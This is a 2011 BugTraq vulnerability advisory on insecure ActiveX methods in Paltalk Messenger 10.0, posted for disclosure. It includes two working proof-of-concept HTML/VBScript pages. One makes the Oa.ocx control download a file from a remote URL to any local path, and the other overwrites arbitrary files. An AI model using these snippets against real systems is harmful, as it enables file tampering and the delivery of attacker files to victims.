BugTraq
Paltalk Messenger ActiveX Control Multiple Insecure Methods Jul 13 2011 12:35PM
advisory htbridge ch
Vulnerability ID: HTB23026
Reference: http://www.htbridge.ch/advisory/paltalk_messenger_activex_control_multip
le_insecure_methods.html
Product: Paltalk Messenger
Vendor: Paltalk ( http://www.paltalk.com )
Vulnerable Version: 10.0 and probably prior
Tested on: 10.0
Vendor Notification: 22 June 2011
Vulnerability Type: ActiveX control Insecure Method
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files.

1) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method.
This can be exploited to overwrite arbitrary files in the context of the currently logged-on user by any file located on a remote http server.

The following PoC code is available:

<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="http://URL/Filename"
arg2="FilePath\Filename_to_create"
target.HttpDownloadFile arg1 ,arg2
End Sub

</script>
</html>

2) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method.
This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.

<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
target.Save arg1
End Sub

</script>
</html>

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